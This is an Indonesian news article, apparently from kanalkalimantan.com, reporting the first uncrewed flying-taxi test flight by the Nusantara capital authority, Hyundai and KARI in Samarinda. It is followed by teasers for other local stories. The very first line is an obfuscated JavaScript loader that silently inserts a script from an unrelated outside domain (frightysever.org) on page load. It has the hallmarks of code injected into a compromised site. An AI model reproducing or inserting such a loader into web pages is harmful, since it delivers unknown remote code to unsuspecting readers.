(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, SAMARINDA – Otorita Ibu Kota Nusantara (OIKN) bersama Hyundai Motors Company, dan Korea Aerospace Research Institute (KARI) menggelar uji coba perdana sky taxi atau taksi terbang tanpa awak kabin.
Uji coba itu dilaksanakan di Hanggar Bandara APT Pranoto Samarinda, Kalimantan Timur, pada Senin (29/7/2024).
Deputi Bidang Transformasi Hijau dan Digital Otorita IKN Mohammaed Ali Berawi menyebut uji coba perdana itu terbilang sukses karena berhasil terbang di ketinggian mencapai 50 meter.
“Alhamdulillah setelah berkoordinasi demgan banyak pihak, akhirnya uji coba perdana bisa dilakukan. Uji coba ya sukses,” sebutnya.
Baca juga: Timnas Juara AFF U19 Setelah 11 Tahun
Sebelumnya taksi terbang sudah terparkir di Bandara APT Pranoto Samarinda sejak Mei 2024 lalu. Taksi terbang itu prototype dari Sky Taxy Hyundai dari versi terbaru.
Uji coba ini merupakan bagian dari proof of concept (POC) dengan penerbangan tanpa awak kabin, tanpa penumpang maupun barang.
“Jadi ini bagian dari POC, kita uji kelayakannya. Tadi terbang selama 5 sampai 10 menit, gerakannya up ke atas, manuver ke arah sisi kanan dan turun membentuk angka 8 lalu landing,” paparnya.
Setelah sukses menggelar uji coba terbang perdana tanpa penumpang, OIKN akan segera menggelar uji coba kedua. Rencananya uji coba POC kedua akan dilakukan pada Agustus sebelum Hari Ulang Tahun (HUT) RI di IKN.
“Tentu akan diuji lagi, rencana uji coba kedua akan dilakukan di IKN pada Agustus. Targetnya tanggal 10, sebelum 17 Agustus insyallah,” sambungnya.
Rencananya taksi terbang di IKN akan mulai beroperasi pada 2030 secara komersil, dengan kapasitas empat penumpang dan satu pilot.
Sebelum itu, pihaknya akan terus mengembangkan dan mengkaji kelayakan taksi terbang untuk menjamin keselamatan penumpang. Namun sayang, uji coba terbang perdana ini tertutup untuk media massa. Acara seremonial uji terbang perdana ini hanya boleh disaksikan pihak OIKN, Hyundai, Airnav Bandara APT Pranoto, TNI AU, dan wakil wali kota Samarinda.
Seluruh undangan dilarang merekam video pada saat taksi terbang mulai dikemudikan dari jarak jauh. Sejumlah media massa yang diundang OIKN hanya boleh menunggu di luar dan tidak diijinkan mengambil gambar meski dari jauh.
“Kami tidak diizinkan melihat proses uji coba, kami dijaga petugas keamanan bandara dan dilarang merekam. Padahal posisi kami di luar hanggar,” kata Rizki, wartawan media lokal di Kaltim. (Kanalkalimantan/Beritasatu.com)
Editor: kk
KANALKALIMANTAN.COM, BANJARMASIN - Satuan Reserse Narkoba (Satresnarkoba) Polres Banjarmasin mengungkap kasus peredaran narkotika jenis sabu.… Read More
KANALKALIMANTAN.COM, BANJARBARU - Momentum liburan Natal 2024 dan Tahun Baru 2025 menjadi ladang cuan bagi… Read More
KANALKALIMANTAN.COM, BANJARBARU - Wali Kota Banjarbaru Aditya Mufti Ariffin resmi melantik dan mengambil sumpah janji… Read More
KANALKALIMANTAN.COM - Menyambut akhir tahun yang penuh keseruan dan momen spesial bersama keluarga dan teman… Read More
KANALKALIMANTAN.COM - Ajang pencarian bakat Dangdut Mania Dadakan (DMD) Panggung Rezeki selalu memberikan warna baru… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kebakaran permukiman penduduk di Jalan Barito Hulu, Kelurahan Pelambuan, Kecamatan Banjarmasin Barat,… Read More
This website uses cookies.